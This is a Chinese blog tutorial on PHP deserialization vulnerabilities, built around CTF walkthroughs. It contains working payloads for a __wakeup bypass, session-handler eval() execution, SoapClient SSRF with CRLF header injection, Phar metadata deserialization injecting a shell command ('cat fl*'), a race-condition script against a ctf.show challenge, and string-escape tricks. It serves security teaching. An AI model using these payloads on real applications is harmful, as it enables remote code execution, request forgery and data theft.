iami233
iami233
文章145
标签35
分类4
浅谈PHP反序列化漏洞

浅谈PHP反序列化漏洞

写在前面

如果反序列化过程中用户对某些参数可控,从而控制内部的变量设置函数,那就可以利用反序列化构造攻击。

1
2
serialize()     //将一个对象转换成字符串
unserialize() //将字符串还原成一个对象

魔术方法

PHP类中有一种特殊函数体的存在叫魔术方法,它的命名是以两个下划线符号 __ 开头的,后面跟着一个字符串,比如 __toString()

1
2
3
4
5
6
7
8
9
10
11
__wakeup()      //执行unserialize()时,先会调用这个函数
__sleep() //执行serialize()时,先会调用这个函数
__destruct() //对象被销毁时触发
__call() //在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //用于从不可访问的属性读取数据或者不存在这个键都会调用此方法
__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性上调用isset()或empty()触发
__unset() //在不可访问的属性上使用unset()时触发
__toString() //把类当作字符串使用时触发
__invoke() //当尝试将对象调用为函数时触发

访问控制符

\x00为空字符,一个空字符长度为 1

1
2
3
public (公有)          // 序列化后格式 属性名
protected (受保护) // 序列化后格式 \x00*\x00属性名
private (私有的) // 序列化后格式 \x00类名\x00属性名

举个例子

1
2
3
4
5
6
7
8
9
<?php
class info{
public $name = "iami233";
protected $age = "18";
private $sex = "unknown";
}

$test = new info;
echo serialize($test);

如果生成的序列化字符串较长或者包含 protectedprivate 属性,强烈建议使用 urlencode() 编码一下在输出

当版本为 PHP7.1+ 时反序列化对类属性不敏感,将 protected 改成 public 亦可。

1
2
O:4:"info":3:{s:4:"name";s:7:"iami233";s:6:"\x00*\x00age";s:2:"18";s:8:"\x00ctf\x00sex";s:7:"unknown";}
// O:对象名的长度:"对象名":对象属性个数:{s:属性名的长度:"属性名";s:属性值的长度:"属性值";}

反序列化特性

  1. 反序列化的过程就是碰到 ;}与最前面的 { 配对后,便停止反序列化,后面的数据会直接丢弃。
  2. 反序列化的过程会根据 s 所指定的 字符长度 去读取后边的字符。如果指定的长度错误则反序列化就会失败。
  3. 类中不存在的属性也会进行反序列化。

wakeup绕过

PHP5 < 5.6.25PHP7 < 7.0.10

CVE-2016-7124 当序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过 __wakeup 的执行,

1
O:4:"info":3:{s:4:"name";s:7:"iami233";s:6:"\x00*\x00age";s:2:"18";s:8:"\x00ctf\x00sex";s:7:"unknown";}

原本 info 的对象属性个数为 3 ,我们直接改为 4 即可绕过 __wakeup

1
O:4:"info":4:{s:4:"name";s:7:"iami233";s:6:"\x00*\x00age";s:2:"18";s:8:"\x00ctf\x00sex";s:7:"unknown";}

16进制绕过

序列化字符串中过滤了一些字符串,可以使用十六进制绕过

1
O:3:"ctf":1:{s:1:"a";s:4:"test";}

字符类型的 s 大写时,会被当成 16 进制解析

1
O:3:"ctf":1:{s:1:"a";S:4:" \74est";}

[极客大挑战 2019] PHP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?php
include 'flag.php';
error_reporting(0);
class Name{
private $username = 'nonono';
private $password = 'yesyes';
public function __construct($username,$password){
// 在创建对象时候初始化对象,一般用于对变量赋初值。
$this->username = $username;
$this->password = $password;
}
function __wakeup(){
// 反序列化恢复对象之前调用该方法
$this->username = 'guest';
}
function __destruct(){
// 当对象所在函数调用完毕后执行
if ($this->password != 100) {
echo "</br>NO!!!hacker!!!</br>";
echo "You name is: ";
echo $this->username;echo "</br>";
echo "You password is: ";
echo $this->password;echo "</br>";
die();
}
if ($this->username === 'admin') {
global $flag;
echo $flag;
}else{
echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
die();
}
}
}
?>

代码逻辑就是如果密码等于 100 同时用户名等于 admin ,执行 __construct 的时候输出 flag。 直接构建反序列化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
class Name{
private $username = 'nonono';
private $password = 'yesyes';

public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
}
$flag = new Name('admin', 100);
echo serialize($flag);

// O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}

就目前来看我们已经把 __construct__destruct 绕过去了,但是 __wakeup 会把我们的 username 重新赋值为 guest ,我们直接用上面提到的 __wakeup 绕过方法,把 "Name":2 改为 "Name":3

1
O:4:"Name":3:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}

但我们这里访问控制是私有 Private ,所以我们需要在类名和成员名之前加上 %00 ,达到绕过目的。

1
O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}

Session 反序列化

PHP在 session 存储和读取时,都会有一个序列化和反序列化的过程,PHP内置了多种处理器用于存取 $_SESSION 数据,都会对数据进行序列化和反序列化

php.ini 中通常存在以下配置项:

  • session.save_path 设置session的存储路径
  • session.save_handler 设定用户自定义存储函数
  • session.auto_start 指定会话模块是否在请求开始时启动一个会话
  • session.serialize_handler 定义用来序列化/反序列化的处理器名字。默认使用 php

不同的引擎所对应的 session 的存储方式不相同。

1
2
3
4
5
6
7
8
<?php
ini_set('session.serialize_handler', 'php');
// ini_set("session.serialize_handler", "php_serialize");
// ini_set("session.serialize_handler", "php_binary");

session_start();
$_SESSION['name'] = 'iami233';
var_dump($_SESSION);
引擎存储方式示例
php键名 + 竖线 + 经过 serialize() 函数序列化处理的值`name
php_binary键名的长度对应的 ASCII 字符 + 键名 + 经过 serialize() 函数序列化处理的值names:7:"iami233";
php_serialize经过 serialize() 函数序列化处理的数组a:1:{s:4:"name";s:7:"iami233";}

举个例子

我们新建一个 1.php 文件,使用 php_serialize 引擎

1
2
3
4
5
<?php
ini_set("session.serialize_handler", "php_serialize");

session_start();
$_SESSION['name'] = '|O:4:"Name":1:{s:3:"rce";s:10:"phpinfo();";}';

访问 localhost/1.php 后生成的 session 文件内容文件为:

1
a:1:{s:4:"name";s:44:"|O:4:"Name":1:{s:3:"rce";s:10:"phpinfo();";}";}

php 序列化引擎以 | 作为 keyvalue 的分隔符,只反序列化 | 后面的内容 所以我们需要在前面加个 |,这样 a:1:{s:4:"name";s:44:" 被当做了 key ,而 O:4:"Name":1:{s:3:"rce";s:10:"phpinfo();";}";} 被当做了 value

再新建一个 2.php 文件,不声明引擎的话,默认是 php

1
2
3
4
5
6
7
8
9
<?php
session_start();
class Name {
public $rce;
function __destruct() {
eval($this->rce);
}
}
?>

此时访问 localhost/2.php 即可执行 phpinfo() 函数

原生类 反序列化

比较常见的为 SoapClient() 类,不过这里也记录一下其他见过的原生类

Error/Exception XSS

1
2
3
<?php
$a = serialize(new Exception("<script>alert(1)</script>"));
echo $a;

SplFileObject 读文件

1
2
3
<?php
$a = new SplFileObject("flag.txt");
echo $a;

DirectoryIterator 遍历目录

1
2
3
4
5
<?php
$a = new DirectoryIterator(".");
foreach ($a as $b) {
echo $b->getFilename() . "\n";
}

FilesystemIterator 遍历目录

1
2
3
4
5
<?php
$a = new FilesystemIterator(".");
foreach ($a as $b) {
echo $b->getFilename() . "\n";
}

SoapClient SSRF

  1. 需要有 soap 扩展,需要手动开启该扩展。
  2. 需要调用一个不存在的方法触发其 __call() 函数。
  3. 仅限于 http / https 协议

利用原生类 SoapClient 实现 SSRF ,构造 SoapClient 的类对象,需要有两个参数( https://www.php.net/manual/en/class.soapclient.php )字符串 $wsdl 和数组 $options

1
public __construct(?string $wsdl, array $options = [])

options 传入我们要构造的请求头, urilocation 必须设置

[CTF Show Web入门] Web259

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
highlight_file(__FILE__);

$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
array_pop($xff);
$ip = array_pop($xff);

if($ip!=='127.0.0.1'){
die('error');
}else{
$token = $_POST['token'];
if($token=='ctfshow'){
file_put_contents('flag.txt',$flag);
}
}

$vip = unserialize($_GET['vip']);
//vip can get flag one key
$vip->getFlag();

调用了一个不存在的函数 getFlag() 会去调用 __call 魔术方法, __call 会发送一个请求,我们可以本地通过 nc 监听端口搭配 PHPStudy 来构造调试,发现 ua 头可以注入。

注意的点:

  1. iparray_pop 两次以 , 分割
  2. token=ctfshow 长度为 13 且为 POST 提交
  3. 请求头之间的参数用 \r\n 分隔
  4. 请求头与请求体之间用 \r\n\r\n 分隔
1
2
3
4
5
6
7
8
<?php
$client = new SoapClient(null, array(
'location' => "http://127.0.0.1/flag.php",
'user_agent' => "test\r\nX-Forwarded-For:127.0.0.1,1\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 13\r\n\r\ntoken=ctfshow",
'uri' => "http://127.0.0.1/",
));

echo urlencode(serialize($client));

发送 payload 后访问 flag.txt 即可

1
?vip=O%3A10%3A%22SoapClient%22%3A4%3A%7Bs%3A3%3A%22uri%22%3Bs%3A17%3A%22http%3A%2F%2F127.0.0.1%2F%22%3Bs%3A8%3A%22location%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A11%3A%22_user_agent%22%3Bs%3A119%3A%22test%0D%0AX-Forwarded-For%3A127.0.0.1%2C1%0D%0AContent-Type%3A+application%2Fx-www-form-urlencoded%0D%0AContent-Length%3A+13%0D%0A%0D%0Atoken%3Dctfshow%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D

Phar 反序列化

Pharphp压缩文档。它可以把多个文件归档到同一个文件中,而且不经过解压就能被 php 访问并执行,与 file://php:// 等伪协议类似,也是一种流包装器。

Phar 文件存储的 meta-data 信息以 序列化 方式存储,当文件操作函数通过 phar:// 伪协议解析 Phar 文件时就会将数据反序列化。

要想使用 Phar 类里的方法,必须将 php.ini 文件中的 phar.readonly 配置项配置为 0Off(默认为 On

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
//实例一个phar对象供后续操作
$phar = new Phar('test.phar');

//开始缓冲Phar写操作
$phar->startBuffering();

//设置stub
$phar->setStub("<?php __HALT_COMPILER(); ?>");

//以字符串的形式添加一个文件到 phar 档案
$phar->addFromString('test.php','<?php echo 'this is test file';');

//把一个fileTophar目录下的文件归档到phar档案
$phar->buildFromDirectory('fileTophar');

//该函数解压一个phar包,extractTo()提取phar文档内容
$phar->extractTo();

当环境限制了phar不能开头,可以使用以下伪协议绕过

1
2
3
compress.bzip2://phar://test.phar/test.txt
compress.zlib://phar://test.phar/test.txt
php://filter/resource=phar://test.phar/test.txt

[CTFShow Web入门] Web276

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
<?php
highlight_file(__FILE__);
class filter{
public $filename;
public $filecontent;
public $evilfile=false;
public $admin = false;
public function __construct($f,$fn){
$this->filename=$f;
$this->filecontent=$fn;
}
public function checkevil(){
if(preg_match('/php|\.\./i', $this->filename)){
$this->evilfile=true;
}
if(preg_match('/flag/i', $this->filecontent)){
$this->evilfile=true;
}
return $this->evilfile;
}
public function __destruct(){
if($this->evilfile && $this->admin){
system('rm '.$this->filename);
}
}
}
if(isset($_GET['fn'])){
$content = file_get_contents('php://input');
$f = new filter($_GET['fn'],$content);
if($f->checkevil()===false){
file_put_contents($_GET['fn'], $content);
copy($_GET['fn'],md5(mt_rand()).'.txt');
unlink($_SERVER['DOCUMENT_ROOT'].'/'.$_GET['fn']);
echo 'work done';
}

}else{
echo 'where is flag?';
}

this->admin 需要为 ture,但是没有能控制的点。

发现可以通过 file_put_contents 写 phar 文件,然后题目中 file_put_contents 第一个参数可控,那么我们可以使用 phar:// 协议,通过 $content 传入 phar 数据,这样在 PHP 通过 phar:// 协议解析数据时,会将 meta-data 部分进行反序列化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
class filter
{
public $filename = ';cat fl*';
public $evilfile = true;
public $admin = true;
}
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$o = new filter();
$phar->setMetadata($o);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
?>

条件竞争

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
import requests
import time
import threading
success=False
#读取phar包内容
def getPhar(phar):
with open(phar,'rb') as p:
return p.read()
#写入phar包内容
def writePhar(url,data):
print("[-]writing")
requests.post(url,data)
#触发unlink的phar反序列化
def unlinkPhar(url,data):
global success
res = requests.post(url,data)
if 'ctfshow' in res.text and success is False:
print("[*]Over!")
print(res.text)
success = True
def main():
global success
url= 'http://c71e4a00-e45a-44d8-a9a0-7791b43e4bf8.challenge.ctf.show/'
phar = getPhar('phar.phar')
while success is False:
time.sleep(.5)
w= threading.Thread(target=writePhar,args=(url+'?fn=phar.phar',phar))
u= threading.Thread(target=unlinkPhar,args=(url+'?fn=phar://phar.phar/test','1'))
w.start()
u.start()
if __name__ == '__main__':
main()

除了 file_put_contents 外,会把 phar 反序列化的函数还有:

受影响的函数列表
filenamefilectimefile_existsfile_get_contents
file_put_contentsfilefilegroupfopen
fileinodefilemtimefileownerfileperms
is_diris_executableis_fileis_link
is_readableis_writableis_writeableparse_ini_file
copyunlinkstatreadfile

字符串逃逸

如果当开发者先将对象 序列化 ,然后将对象中的字符进行 过滤 ,最后再进行 反序列化。这个时候就有可能会产生PHP反序列化字符逃逸的漏洞。

字符串逃逸基本就是两种情况,字符变多or字符变少,总之本地多调试吧…

字符变多

  1. 看过滤,判断字符变多还是字符变少,计算变化个数
  2. 一个字符,构造过滤字符的个数为构造的字符长度
  3. n个字符,构造过滤字符的个数为构造的字符长度/n

字符变少

  1. 构造想要的值正常序列化,拿到最终的逃逸字符
  2. 逃逸字符前任意字符+双引号闭合,传入要控制的值
  3. 根据需要逃逸的字符串的长度,传入对应的过滤字符

字符变多

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php
include('flag.php');
function filter($s) {
return str_replace('admin', 'hacker', $s);
}

class ctf{
public $username;
public $password;
public function __construct($username, $password){
$this -> username = $username;
$this -> password = $password;
}
public function __wakeup(){
if($this -> password == '88888888') {
echo $flag;
die;
}
echo 'Fake admin';
}
}

$u = $_GET['u'];
$p = $_GET['p'];

if (strpos($u, 'admin') !== false){
$data = new ctf($u, $p);
unserialize(filter(serialize($data)));
}

这段代码中 $u 必须包含 admin,然后把 admin 替换为 hacker 其次通过判断 password 是否等于 8888888 来判断是否输出 flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php

function filter($s) {
return str_replace('admin', 'hacker', $s);
}

class ctf{
public $username;
public $password = '88888888';
public function __construct($username){
$this -> username = $username;
}
}

$u = 'admin';
$data = new ctf($u);

var_dump(filter(serialize($data)););

先给 username 赋值 admin ,然后把 password 改为 88888888,观察一下返回的数据

1
O:3:"ctf":2:{s:8:"username";s:5:"hacker";s:8:"password";s:8:"88888888";}

经过替换后 admin 变成了 hacker ,多出来了一个字符,但标记长度没有变化,还是 s:5 ,造成了实际长度大于标记长度的情况,从而反序列化失败。

同时我们发现后面我们需要构造的字符 ";s:8:"password";s:8:"88888888";} 长度为 33 ,由于过滤规则每次替换增加 1 个字符,所以我们需要 33admin

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php

function filter($s) {
return str_replace('admin', 'hacker', $s);
}

class ctf{
public $username = 'adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin";s:8:"password";s:8:"88888888";}';
public $password = '88888888';
}

$a = filter(serialize(new ctf()));
echo $a;

得到如下字符串,

1
O:3:"ctf":2:{s:8:"username";s:198:"hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker";s:8:"password";s:8:"88888888";}";s:8:"password";s:8:"88888888";}

我们发现 hacker 正好是 198 个字符,而 password 也变成了我们想要的 88888888

字符变少

简单改一下上题的代码,admin 替换为 hack

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php
include('flag.php');
function filter($s) {
return str_replace('admin', 'hack', $s);
}

class ctf{
public $username;
public $password;
public function __construct($username, $password){
$this -> username = $username;
$this -> password = $password;
}
public function __wakeup(){
if($this -> password == '88888888') {
echo $flag;
die;
}
echo 'Fake admin';
}
}

$u = $_GET['u'];
$p = $_GET['p'];

if (strpos($u, 'admin') !== false){
$data = new ctf($u, $p);
unserialize(filter(serialize($data)));
}

思路同上,先输出一下 serialize 后的数据

1
O:3:"ctf":2:{s:8:"username";s:4:"hack";s:8:"password";s:8:"88888888";}

发现 admin 变成了 hack ,但是标记长度没有变化,还是 s:4 ,造成了实际长度小于标记长度的情况,我们每增加一个 admin 匹配替换后就减少 1 个字符,我们要做的就是让他往后去吞噬一些我们构造的代码,这样就可以构造出我们想要的代码了。

这样是我们想要构造的代码

1
";s:8:"password";s:8:"88888888";}

我们把它传入 password 中观察返回数据

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php

function filter($s) {
return str_replace('admin', 'hack', $s);
}

class ctf{
public $username = 'admin';
public $password = '";s:8:"password";s:8:"88888888";}';
}

$a = filter(serialize(new ctf()));
echo $a;

得到如下字符串

1
O:3:"ctf":2:{s:8:"username";s:5:"hack";s:8:"password";s:33:"";s:8:"password";s:8:"88888888";}";}

所以我们需要吞噬的字符如下

1
";s:8:"password";s:33:"

由于每次匹配替换只会减少一个字符,所以我们需要构造一个长度为 23 的字符串,这样就可以吞噬到我们想要的代码了。

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php

function filter($s) {
return str_replace('admin', 'hack', $s);
}

class ctf{
public $username = 'adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin';
public $password = '";s:8:"password";s:8:"88888888";}';
}

$a = filter(serialize(new ctf()));
echo $a;

得到如下字符串

1
O:3:"ctf":2:{s:8:"username";s:115:"hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:8:"password";s:33:"";s:8:"password";s:8:"88888888";}";}

写在后面

这篇文章从去年七月底就开始写了,因为参加比赛/攻防演练耽误了好长时间,导致思路断断续续…陆陆续续想起来就总结一下2333,文章提到的都很浅薄,总之多练习

本文作者:iami233
本文链接:https://5ime.cn/unserialize.html
版权声明:本文采用 CC BY-NC-SA 3.0 CN 协议进行许可